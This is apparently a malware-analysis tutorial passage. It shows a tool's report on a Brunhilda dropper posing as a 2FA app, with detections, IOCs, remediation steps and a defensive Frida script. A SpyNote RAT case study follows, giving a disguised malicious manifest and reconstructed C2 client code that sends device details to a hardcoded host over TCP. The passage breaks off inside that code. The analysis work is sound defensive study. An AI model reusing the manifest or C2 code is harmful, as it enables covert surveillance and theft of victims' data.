bacdc7163c5494bcbd165c3571659175b355c5ef640277d3929ea280e937f.apk |
0
f4733a3a188ca0ddf3f730b17b23e20.apk | SafeYourAccount.apk |
0
f4733a3a188ca0ddf3f730b17b23e20 (
1
).apk | sep_cerberus.apk |
60
df2725b2b20f64dd47ecc29c678abda86d41ee.apk | │

301
bacdc7163c5494bcbd165c3571659175b355c5ef640277d3929ea280e937f.bin |
0
f4733a3a188ca0ddf3f730b17b23e20.virus │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
AV Engine Detections —
32
malicious /
0
suspicious /
76
total
╭──────────────────────┬────────────────────────────────────────────────┬──────────────╮
│ Engine │ Detection Name │ Verdict │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ Avast │
Android
:Brunhilda-A [Drp] │ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ DrWeb │ Android.DownLoader.
5078
│ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ ESET-NOD32 │ a variant of Android/TrojanDownloader.Agent.SU │ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ F-Secure │ Malware.ANDROID/Agent.FIMK.Gen │ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ Fortinet │ Android/Agent.SU!tr │ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ Kaspersky │
HEUR
:Trojan-Downloader.AndroidOS.Agent.kf │ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ Sophos │ Andr/Xgen-AOV │ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ Symantec │ Trojan.Gen.
2
│ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ AVG │
Android
:Brunhilda-A [Drp] │ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ AhnLab-V3 │ PUP/Android.Agent.
1015709
│ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ Alibaba │
TrojanDownloader
:Android/Agent.
653271
b4 │ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ Avast-Mobile │
Android
:Brunhilda-C [Drp] │ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ Avira │ ANDROID/Agent.FIMK.Gen │ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ BitDefenderFalx │ Android.Trojan.Brunhilda.A │ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ CAT-QuickHeal │ Android.Banker.Q │ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ CTX │ apk.trojan.brunhilda │ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ Cynet │ Malicious (
score
:
99
) │ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ Google │ Detected │ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ Ikarus │ Trojan-Downloader.AndroidOS.Agent │ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ K7GW │ Trojan-Downloader (
0056
f8d71 ) │ MALICIOUS │
╰──────────────────────┴────────────────────────────────────────────────┴──────────────╯
Phase
3
: YARA Scanning

YARA
:
1

rule
(s) matched
╭───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮

Rule
: BankingTrojan_Cerberus │

Desc
: Cerberus/Alien banking trojan - accessibility + clipboard hijack + crypto │

Category
: Banking Trojan │

MITRE
: T1417 │

Matched
: AccessibilityService, ClipboardManager, setPrimaryClip │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
Phase
4
: AI Analysis (Claude/claude-opus-
4
-
6
)
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── AI Analysis Results ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
╭───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮

Classification
: Dropper |
Family
: Brunhilda |
Confidence
: High │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Executive Summary ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ This is a Brunhilda dropper disguised as a two-factor authentication (
2
FA) app called
'SafeYourAccount'
. Brunhilda is a Dropper-as-a-Service (DaaS) operation that wraps legitimate open-source apps with malicious dropper functionality to deliver second-stage banking trojans (commonly Alien/Cerberus variants). │
│ With
32
/
76
VirusTotal detections explicitly naming
'Brunhilda'

and

'TrojanDownloader'
,
and
capabilities including overlay attacks, accessibility service abuse,
and
package installation, this sample poses a critical threat to any user who installs it — particularly those targeted for banking credential theft via │
│ the dropped payload. │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Technical Analysis ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ The package
'com.tfapasswords.app'
masquerades as a legitimate
2
FA/TOTP authenticator application. The app name
'SafeYourAccount'
is a classic social engineering lure — users seeking to protect their accounts ironically install malware. The package appears to be a trojanized version of the open-source
'andOTP'


or
similar TOTP app, as evidenced by legitimate components like barcode scanning (journeyapps.barcodescanner.CaptureActivity), material intro screens (heinrichreimersoftware.materialintro),
and
the AboutLibraries library (mikepenz.aboutlibraries). This is a hallmark of Brunhilda
operations
: wrapping legitimate │
│ apps with dropper capabilities to pass initial review. │
│ │
│ The Brunhilda dropper's primary mechanism relies on three critical permissions working in
concert
: SYSTEM_ALERT_WINDOW for overlay-based social engineering to trick users into granting permissions, REQUEST_INSTALL_PACKAGES to sideload the second-stage payload (typically an Alien/Cerberus banking trojan),
and
the │
│ AccessibilityService (com.tfapasswords.app.Activities.AccessibilityService) to automate permission grants
and
interact with the installation UI. The AccessibilityService
's onServiceConnected() method references '
alarm' strings, indicating it sets up recurring scheduled tasks — likely polling for payload delivery │

or
C2 instructions. The YARA match for Cerberus/Alien is consistent with Brunhilda's known payload families. │
│ │
│ The certificate claims to be from
'Google Inc.'
(CN=Android, O=Google Inc., L=Mountain View) but is self-signed — a trivial but effective deception against casual inspection. This fake Google certificate is a well-documented Brunhilda indicator. The obfuscation is light (ProGuard-level, score
3
/
100
) with
203
/
500

│ short class names, which is typical of Brunhilda samples that rely more on the legitimate app wrapper than heavy obfuscation for evasion. Obfuscated classes like Lb/b/k/r (location tracking), Lb/b/p/c1 (window overlay),
and
Lc/h/a/i/e (window overlay) contain the malicious functionality. │
│ │
│ The network IOC surface is deliberately clean in static analysis — no hardcoded C2 URLs,
only
references to github.com (from the legitimate library)
and
Android schema namespaces. This is expected for
Brunhilda
: the C2 configuration is either fetched dynamically after installation
or
embedded in encrypted │
│ preferences (note the
'PasswordEncryptedPreference'
class). The BootBroadcastReceiver ensures persistence across reboots, while the EncryptedBackupBroadcastReceiver
and
PlainTextBackupBroadcastReceiver likely handle encrypted configuration
or
payload storage rather than legitimate backup functionality. The │

'superuser'
string reference
and
root/superuser semantic finding (T1626) suggest the dropper may attempt privilege escalation on rooted devices. │
│ │
│ DrWeb
's detection as '
Android.DownLoader.
5078
' and Kaspersky'
s
'Trojan-Downloader.AndroidOS.Agent.kf'
confirm the primary function is downloading
and
installing a second-stage payload. ESET
's '
Android/TrojanDownloader.Agent.SU' corroborates this classification. The Brunhilda DaaS infrastructure typically uses │
│ Telegram channels
or
encrypted cloud storage for payload hosting, making static C2 extraction difficult. │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Primary Capabilities ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ │
│ ► Second-stage payload downloading
and
installation (Dropper-as-a-Service) │
│ ► Accessibility Service abuse for automated UI interaction
and
permission escalation │
│ ► Overlay/SYSTEM_ALERT_WINDOW for social engineering
and
phishing │
│ ► Boot persistence via BroadcastReceiver │
│ ► Location tracking for geofencing/victim profiling │
│ ► Camera access for potential surveillance │
│ ► Encrypted preference storage for configuration/C2 data │
│ ► Legitimate
2
FA app functionality as cover │
│ │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯

ID Technique Tactic Relevance
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
T1417 Input Capture Collection AccessibilityService (com.tfapasswords.app.Activities.Access
T1626 Abuse Elevation Control Privilege Escalation Semantic finding of
'superuser'
string indicates root/privil
Mechanism
T1407 Download New Code at Runtime Defense Evasion Primary dropper function — REQUEST_INSTALL_PACKAGES permissi
T1406 Obfuscated Files
or
Defense Evasion ProGuard obfuscation (
203
/
500
short class names), encrypted
Information
T1430 Location Tracking Collection LocationManager.getLastKnownLocation called in obfuscated cl
T1398 Boot
or
Logon Initialization Persistence BootBroadcastReceiver (com.tfapasswords.app.Receivers.BootBr
Scripts
T1444 Masquerade as Legitimate Defense Evasion Trojanized
2
FA authenticator app with working functionality;
Application
T1411 Input Prompt Credential Access SYSTEM_ALERT_WINDOW + WindowManager.addView overlay attacks
T1512 Video Capture Collection CAMERA permission requested — potential for covert photo/vid

╭───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── IOCs for Threat Hunting ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ •
sha256
:
301
bacdc7163c5494bcbd165c3571659175b355c5ef640277d3929ea280e937f │
│ •
md5
:
0
f4733a3a188ca0ddf3f730b17b23e20 │
│ •
package
:com.tfapasswords.app │
│ •
app_name
:SafeYourAccount │
│ •
cert_sha256
:
2
c8c03d8c0b8c18c9f33c88d8647471ab4d426b0d4f7ff2ed61dd1ad94d50415 │
│ •
service
:com.tfapasswords.app.Activities.AccessibilityService │
│ •
receiver
:com.tfapasswords.app.Receivers.BootBroadcastReceiver │
│ •
receiver
:com.tfapasswords.app.Receivers.EncryptedBackupBroadcastReceiver │
│ •
receiver
:com.tfapasswords.app.Receivers.PlainTextBackupBroadcastReceiver │
│ •
cert_cn_spoof
:CN=Android,OU=Android,O=Google Inc.,L=Mountain View,ST=California,C=US │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Remediation Steps ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮

1
.
1
. Immediately uninstall
'SafeYourAccount'
(com.tfapasswords.app) from the device │

2
.
2
. Check Settings → Accessibility → Installed Services
and
disable/remove any suspicious accessibility services │

3
.
3
. Review Settings → Apps for any recently installed unknown applications that may be the dropped second-stage payload │

4
.
4
. Change all banking
and
financial account passwords from a separate, clean device │

5
.
5
. Contact your bank to report potential compromise
and
request enhanced monitoring/new credentials │

6
.
6
. If the app was used as a
2
FA authenticator, re-enroll all
2
FA tokens from a clean device — the attacker may have captured TOTP seeds │

7
.
7
. Factory reset the device if a second-stage payload was installed, as it may have deeper persistence │

8
.
8
. Enable Google Play Protect
and

only
install apps from the official Google Play Store │

9
.
9
. Report the sample SHA256 to your organization's SOC
and
threat intelligence platform │

10
.
10
. Monitor bank accounts
and
credit reports for unauthorized activity for at least
90
days │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Frida Hooks for Dynamic Analysis ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮

1

// Brunhilda Dropper Analysis - Frida Hook Script │

2

// Target: com.tfapasswords.app (SafeYourAccount / Brunhilda DaaS) │

3

// Purpose: Intercept dropper behavior, payload download, overlay attacks, accessibility abuse │

4


5
Java.
perform
(
function
() { │

6
console.
log
(
'[*] Brunhilda Dropper Frida Hooks Loaded'
); │

7
console.
log
(
'[*] Target: com.tfapasswords.app'
); │

8


9

// ========== HOOK 1: AccessibilityService Lifecycle ========== │

10

// Captures when the malicious AccessibilityService activates and processes events │

11
try { │

12
var AccessibilityService = Java.
use
(
'com.tfapasswords.app.Activities.AccessibilityService'
); │

13


14
AccessibilityService.onServiceConnected.implementation =
function
() { │

15
console.
log
(
'[CRITICAL] AccessibilityService.onServiceConnected() called - dropper activating!'
); │

16
console.
log
(
'[CRITICAL] Stack: '
+ Java.
use
(
'android.util.Log'
).
getStackTraceString
(Java.
use
(
'java.lang.Exception'
).$
new
())); │

17
this.
onServiceConnected
(); │

18
}; │

19


20
AccessibilityService.onAccessibilityEvent.implementation =
function
(event) { │

21
if (event != null) { │

22
console.
log
(
'[ACCESSIBILITY] Event Type: '
+ event.
getEventType
()); │

23
console.
log
(
'[ACCESSIBILITY] Package: '
+ event.
getPackageName
()); │

24
console.
log
(
'[ACCESSIBILITY] Class: '
+ event.
getClassName
()); │

25
console.
log
(
'[ACCESSIBILITY] Text: '
+ event.
getText
()); │

26
} │

27
this.
onAccessibilityEvent
(event); │

28
}; │

29
console.
log
(
'[+] Hooked AccessibilityService'
); │

30
}
catch
(e) { │

31
console.
log
(
'[-] AccessibilityService hook failed: '
+ e); │

32
} │

33


34

// ========== HOOK 2: Package Installation (Payload Delivery) ========== │

35

// Captures the dropper installing second-stage banking trojan │

36
try { │

37
var Intent = Java.
use
(
'android.content.Intent'
); │

38
Intent.setAction.implementation =
function
(action) { │

39
if (action && (action.
indexOf
(
'INSTALL'
) !== -
1
|| action.
indexOf
(
'PACKAGE'
) !== -
1
)) { │

40
console.
log
(
'[DROPPER] Intent.setAction: '
+ action); │

41
console.
log
(
'[DROPPER] Stack: '
+ Java.
use
(
'android.util.Log'
).
getStackTraceString
(Java.
use
(
'java.lang.Exception'
).$
new
())); │

42
} │

43
return this.
setAction
(action); │

44
}; │

45


46
var PackageInstaller = Java.
use
(
'android.content.pm.PackageInstaller'
); │

47
PackageInstaller.createSession.implementation =
function
(params) { │

48
console.
log
(
'[DROPPER] PackageInstaller.createSession called!'
); │

49
console.
log
(
'[DROPPER] Install reason - potential second-stage payload delivery'
); │

50
return this.
createSession
(params); │

51
}; │

52
console.
log
(
'[+] Hooked Package Installation'
); │

53
}
catch
(e) { │

54
console.
log
(
'[-] PackageInstaller hook failed: '
+ e); │

55
} │

56


57

// ========== HOOK 3: Window Overlay Attacks ========== │

58

// Captures overlay creation used for social engineering / phishing │

59
try { │

60
var WindowManager = Java.
use
(
'android.view.WindowManager'
); │

61

// WindowManager is an interface, hook the implementation │

62
var WindowManagerImpl = Java.
use
(
'android.view.WindowManagerImpl'
); │

63
WindowManagerImpl.addView.implementation =
function
(view, params) { │

64
console.
log
(
'[OVERLAY] WindowManager.addView called!'
); │

65
var lp = Java.
cast
(params, Java.
use
(
'android.view.WindowManager$LayoutParams'
)); │

66
console.
log
(
'[OVERLAY] Type: '
+ lp.type.value +
' (2038=TYPE_APPLICATION_OVERLAY)'
); │

67
console.
log
(
'[OVERLAY] Flags: '
+ lp.flags.value); │

68
console.
log
(
'[OVERLAY] View class: '
+ view.
getClass
().
getName
()); │

69
console.
log
(
'[OVERLAY] Stack: '
+ Java.
use
(
'android.util.Log'
).
getStackTraceString
(Java.
use
(
'java.lang.Exception'
).$
new
())); │

70
this.
addView
(view, params); │

71
}; │

72
console.
log
(
'[+] Hooked WindowManager overlay'
); │

73
}
catch
(e) { │

74
console.
log
(
'[-] WindowManager hook failed: '
+ e); │

75
} │

76


77

// ========== HOOK 4: Location Tracking (Geofencing) ========== │

78

// Captures location queries used for victim profiling or geofence evasion │

79
try { │

80
var LocationManager = Java.
use
(
'android.location.LocationManager'
); │

81
LocationManager.getLastKnownLocation.implementation =
function
(provider) { │

82
var location = this.
getLastKnownLocation
(provider); │

83
console.
log
(
'[LOCATION] getLastKnownLocation provider: '
+ provider); │

84
if (location != null) { │

85
console.
log
(
'[LOCATION] Lat: '
+ location.
getLatitude
() +
' Lon: '
+ location.
getLongitude
()); │

86
} │

87
return location; │

88
}; │

89
console.
log
(
'[+] Hooked LocationManager'
); │

90
}
catch
(e) { │

91
console.
log
(
'[-] LocationManager hook failed: '
+ e); │

92
} │

93


94

// ========== HOOK 5: AlarmManager (Scheduled Tasks) ========== │

95

// Captures alarm-based scheduling used by AccessibilityService for periodic C2 polling │

96
try { │

97
var AlarmManager = Java.
use
(
'android.app.AlarmManager'
); │

98
AlarmManager.setExact.implementation =
function
(type, triggerAtMillis, operation) { │

99
console.
log
(
'[ALARM] setExact - Type: '
+ type +
', Trigger: '
+ triggerAtMillis); │

100
console.
log
(
'[ALARM] PendingIntent: '
+ operation); │

101
this.
setExact
(type, triggerAtMillis, operation); │

102
}; │

103
AlarmManager.setRepeating.implementation =
function
(type, triggerAtMillis, intervalMillis, operation) { │

104
console.
log
(
'[ALARM] setRepeating - Type: '
+ type +
', Interval: '
+ intervalMillis +
'ms'
); │

105
console.
log
(
'[ALARM] PendingIntent: '
+ operation); │

106
this.
setRepeating
(type, triggerAtMillis, intervalMillis, operation); │

107
}; │

108
AlarmManager.set.
overload
(
'int'
,
'long'
,
'android.app.PendingIntent'
).implementation =
function
(type, triggerAtMillis, operation) { │

109
console.
log
(
'[ALARM] set - Type: '
+ type +
', Trigger: '
+ triggerAtMillis); │

110
this.
set
(type, triggerAtMillis, operation); │

111
}; │

112
console.
log
(
'[+] Hooked AlarmManager'
); │

113
}
catch
(e) { │

114
console.
log
(
'[-] AlarmManager hook failed: '
+ e); │

115
} │

116


117

// ========== HOOK 6: Network Communications (C2 Discovery) ========== │

118

// Captures all HTTP connections to discover dynamically loaded C2 URLs │

119
try { │

120
var URL = Java.
use
(
'java.net.URL'
); │

121
URL.$init.
overload
(
'java.lang.String'
).implementation =
function
(url) { │

122
console.
log
(
'[NETWORK] URL created: '
+ url); │

123
if (url.
indexOf
(
'schemas.android.com'
) === -
1
&& url.
indexOf
(
'github.com'
) === -
1
) { │

124
console.
log
(
'[NETWORK] *** POTENTIAL C2 URL: '
+ url +
' ***'
); │

125
console.
log
(
'[NETWORK] Stack: '
+ Java.
use
(
'android.util.Log'
).
getStackTraceString
(Java.
use
(
'java.lang.Exception'
).$
new
())); │

126
} │

127
return this.$
init
(url); │

128
}; │

129


130
var HttpURLConnection = Java.
use
(
'java.net.HttpURLConnection'
); │

131
HttpURLConnection.connect.implementation =
function
() { │

132
console.
log
(
'[NETWORK] HttpURLConnection.connect: '
+ this.
getURL
().
toString
()); │

133
this.
connect
(); │

134
}; │

135


136

// OkHttp (commonly used) │

137
try { │

138
var OkHttpClient = Java.
use
(
'okhttp3.OkHttpClient'
); │

139
var RealCall = Java.
use
(
'okhttp3.RealCall'
); │

140
RealCall.execute.implementation =
function
() { │

141
var request = this.
request
(); │

142
console.
log
(
'[OKHTTP] '
+ request.
method
() +
' '
+ request.url(
).
toString
()); │

143
var headers = request.
headers
(); │

144
for (var i =
0
; i < headers.
size
(); i++) { │

145
console.
log
(
'[OKHTTP] Header: '
+ headers.
name
(i) +
': '
+ headers.
value
(i)); │

146
} │

147
return this.
execute
(); │

148
}; │

149
}
catch
(e) {
/* OkHttp not present */
} │

150
console.
log
(
'[+] Hooked Network communications'
); │

151
}
catch
(e) { │

152
console.
log
(
'[-] Network hook failed: '
+ e); │

153
} │

154


155

// ========== HOOK 7: Reflection (Anti-Analysis/Dynamic Loading) ========== │

156

// Captures reflection calls that may be used to dynamically invoke dropper methods │

157
try { │

158
var Class = Java.
use
(
'java.lang.Class'
); │

159
Class.forName.
overload
(
'java.lang.String'
).implementation =
function
(name) { │

160
if (name.
indexOf
(
'com.tfapasswords'
) !== -
1
|| name.
indexOf
(
'dalvik'
) !== -
1
|| name.
indexOf
(
'dex'
) !== -
1
) { │

161
console.
log
(
'[REFLECTION] Class.forName: '
+ name); │

162
} │

163
return this.
forName
(name); │

164
}; │

165
console.
log
(
'[+] Hooked Reflection'
); │

166
}
catch
(e) { │

167
console.
log
(
'[-] Reflection hook failed: '
+ e); │

168
} │

169


170

// ========== HOOK 8: SharedPreferences (Encrypted Config) ========== │

171

// Captures access to PasswordEncryptedPreference which may store C2 config │

172
try { │

173
var SharedPreferences = Java.
use
(
'android.content.SharedPreferences'
); │

174
var Context = Java.
use
(
'android.content.Context'
); │

175
Context.getSharedPreferences.implementation =
function
(name, mode) { │

176
console.
log
(
'[PREFS] getSharedPreferences: '
+ name +
' mode: '
+ mode); │

177
return this.
getSharedPreferences
(name, mode); │

178
}; │

179
console.
log
(
'[+] Hooked SharedPreferences'
); │

180
}
catch
(e) { │

181
console.
log
(
'[-] SharedPreferences hook failed: '
+ e); │

182
} │

183


184

// ========== HOOK 9: Boot Receiver (Persistence) ========== │

185
try { │

186
var BootReceiver = Java.
use
(
'com.tfapasswords.app.Receivers.BootBroadcastReceiver'
); │

187
BootReceiver.onReceive.implementation =
function
(context, intent) { │

188
console.
log
(
'[PERSISTENCE] BootBroadcastReceiver.onReceive triggered!'
); │

189
console.
log
(
'[PERSISTENCE] Action: '
+ intent.
getAction
()); │

190
this.
onReceive
(context, intent); │

191
}; │

192
console.
log
(
'[+] Hooked BootBroadcastReceiver'
); │

193
}
catch
(e) { │

194
console.
log
(
'[-] BootBroadcastReceiver hook failed: '
+ e); │

195
} │

196


197

// ========== HOOK 10: File I/O (Payload Write) ========== │

198

// Captures file operations that may indicate payload being written to disk │

199
try { │

200
var FileOutputStream = Java.
use
(
'java.io.FileOutputStream'
); │

201
FileOutputStream.$init.
overload
(
'java.io.File'
).implementation =
function
(file) { │

202
var path = file.
getAbsolutePath
(); │

203
if (path.
indexOf
(
'.apk'
) !== -
1
|| path.
indexOf
(
'.dex'
) !== -
1
|| path.
indexOf
(
'.jar'
) !== -
1
) { │

204
console.
log
(
'[FILE] *** PAYLOAD WRITE: '
+ path +
' ***'
); │

205
console.
log
(
'[FILE] Stack: '
+ Java.
use
(
'android.util.Log'
).
getStackTraceString
(Java.
use
(
'java.lang.Exception'
).$
new
())); │

206
} │

207
return this.$
init
(file); │

208
}; │

209
console.
log
(
'[+] Hooked FileOutputStream'
); │

210
}
catch
(e) { │

211
console.
log
(
'[-] FileOutputStream hook failed: '
+ e); │

212
} │

213


214

// ========== HOOK 11: Camera Access ========== │

215
try { │

216
var Camera = Java.
use
(
'android.hardware.Camera'
); │

217
Camera.open.
overload
(
'int'
).implementation =
function
(cameraId) { │

218
console.
log
(
'[CAMERA] Camera.open(id='
+ cameraId +
') - covert capture attempt!'
); │

219
return this.
open
(cameraId); │

220
}; │

221
console.
log
(
'[+] Hooked Camera'
); │

222
}
catch
(e) { │

223
console.
log
(
'[-] Camera hook failed: '
+ e); │

224
} │

225


226
console.
log
(
'[*] All Brunhilda dropper hooks installed successfully'
); │

227
console.
log
(
'[*] Monitor output for C2 URLs, payload delivery, and overlay attacks'
); │

228
}); │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
Saving Reports...
✓ JSON
report
: reports/com_tfapasswords_app_20260330_111913.json
✓ Frida
script
: reports/com_tfapasswords_app_frida_hooks.js
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Analysis completed in
113.2s
JSON
Report
: reports/com_tfapasswords_app_20260330_111913.json
Frida
Script
: reports/com_tfapasswords_app_frida_hooks.js
11
:
19
:
13
(base) andrey
@andrey-lab
android_malware_analysis ±|main ✗|→

Case Study 3: SpyNote/SpyMax — Remote Access Trojan

Background

SpyNote is an Android Remote Access Trojan (RAT) first observed around 2016. Its builder was publicly leaked, and successive versions (SpyNote v3 through v5, then rebranded as SpyMax starting with v6) have been in continuous circulation on underground forums, Telegram channels, and GitHub. Unlike FluBot and Cerberus which focus on banking credential theft, SpyNote/SpyMax provides full remote access to the compromised device.

SpyNote has been used by:

  • Crimeware operators targeting financial fraud

  • Threat actors with suspected espionage motivations, with reporting noting campaigns in Middle East and South Asia contexts (see ESET, Kaspersky threat intelligence reports for specific samples)

  • Stalkerware operators for domestic surveillance

It is notable because its builder is widely available, making it easy to deploy even for non-technical operators. However, its functionality is consistent across variants, making analysis straightforward.

SpyNote Capabilities

SpyNote provides the following remote control capabilities to its operator:

Article image

Static Analysis of SpyNote

Manifest — complete capability declaration:

<!-- SpyNote AndroidManifest.xml (composite from analyzed samples) -->
<
manifest

xmlns:android
=
"http://schemas.android.com/apk/res/android"

package
=
"com.example.flashlight"
>

<!-- Disguised as utility app -->

<!-- RAT capabilities -->

<
uses-permission

android:name
=
"android.permission.CAMERA"
/>

<
uses-permission

android:name
=
"android.permission.RECORD_AUDIO"
/>

<
uses-permission

android:name
=
"android.permission.ACCESS_FINE_LOCATION"
/>

<
uses-permission

android:name
=
"android.permission.ACCESS_COARSE_LOCATION"
/>

<
uses-permission

android:name
=
"android.permission.READ_SMS"
/>

<
uses-permission

android:name
=
"android.permission.SEND_SMS"
/>

<
uses-permission

android:name
=
"android.permission.READ_CONTACTS"
/>

<
uses-permission

android:name
=
"android.permission.READ_CALL_LOG"
/>

<
uses-permission

android:name
=
"android.permission.READ_EXTERNAL_STORAGE"
/>

<
uses-permission

android:name
=
"android.permission.WRITE_EXTERNAL_STORAGE"
/>

<!-- Persistence and control -->

<
uses-permission

android:name
=
"android.permission.RECEIVE_BOOT_COMPLETED"
/>

<
uses-permission

android:name
=
"android.permission.FOREGROUND_SERVICE"
/>

<!--
NOTE:
BIND_DEVICE_ADMIN and BIND_NOTIFICATION_LISTENER_SERVICE are NOT declared
as <uses-permission> by apps. They are framework-enforced binding protections
placed on the component itself (android:permission attribute on the receiver/service).
This restricts binding to the system only. See component declarations below. -->

<
uses-permission

android:name
=
"android.permission.SYSTEM_ALERT_WINDOW"
/>

<
uses-permission

android:name
=
"android.permission.REQUEST_INSTALL_PACKAGES"
/>

<
application

android:label
=
"Flashlight"

android:icon
=
"@drawable/flashlight_icon"
>

<!-- Main activity with minimal UI - just shows a flashlight -->

<
activity

android:name
=
".MainActivity"
/>

<!-- Background service - actual RAT functionality -->

<
service

android:name
=
".core.RATService"

android:exported
=
"false"

android:foregroundServiceType
=
"location|camera|microphone"
/>

<!-- Accessibility Service - keylogging and app monitoring -->

<
service

android:name
=
".core.KeylogService"

android:permission
=
"android.permission.BIND_ACCESSIBILITY_SERVICE"
>

<
intent-filter
>

<
action

android:name
=
"android.accessibilityservice.AccessibilityService"
/>

</
intent-filter
>

</
service
>

<!-- Notification listener -->

<
service

android:name
=
".core.NotificationService"

android:permission
=
"android.permission.BIND_NOTIFICATION_LISTENER_SERVICE"
>

<
intent-filter
>

<
action

android:name
=
"android.service.notification.NotificationListenerService"
/>

</
intent-filter
>

</
service
>

<!-- Boot persistence -->

<
receiver

android:name
=
".core.BootReceiver"
>

<
intent-filter
>

<
action

android:name
=
"android.intent.action.BOOT_COMPLETED"
/>

</
intent-filter
>

</
receiver
>

<!-- Device Admin (anti-uninstall) -->

<
receiver

android:name
=
".core.AdminReceiver"

android:permission
=
"android.permission.BIND_DEVICE_ADMIN"
>

<
meta-data

android:name
=
"android.app.device_admin"

android:resource
=
"@xml/admin_policies"
/>

</
receiver
>

</
application
>
</
manifest
>

C2 communication — custom TCP protocol:

Unlike FluBot and Cerberus which use HTTP, SpyNote uses a raw TCP socket with a custom binary protocol. This avoids HTTP-level inspection:

// SpyNote C2 client (reconstructed from decompilation)
public

class

C2Client
{

private

static

final

String

C2_HOST

=

"192.168.1.100"
;
// Decrypted at runtime

private

static

final

int

C2_PORT

=

5555
;
// Configurable in builder
private
Socket socket;

private
DataInputStream inputStream;

private
DataOutputStream outputStream;

public

void

connect
()

throws
IOException {
socket =
new

Socket
(C2_HOST, C2_PORT);
inputStream =
new

DataInputStream
(socket.getInputStream());
outputStream =
new

DataOutputStream
(socket.getOutputStream());

// Initial handshake: send device info
sendDeviceInfo();

// Start command listener thread

new

Thread
(
this
::commandLoop).start();
}

private

void

sendDeviceInfo
()

throws
IOException {

JSONObject

info

=

new

JSONObject
();
info.put(
"device_id"
, getDeviceId());
info.put(
"model"
, Build.MODEL);
info.put(
"manufacturer"
, Build.MANUFACTURER);
info.put(
"android_version"
, Build.VERSION.RELEASE);
info.put(
"phone_number"
, getPhoneNumber());
info.put(
"operator"
, getTelephonyManager().getNetworkOperatorName());
info.put(
"battery"
, getBatteryLevel());
info.put(
"installed_apps"
, getInstalledApps());
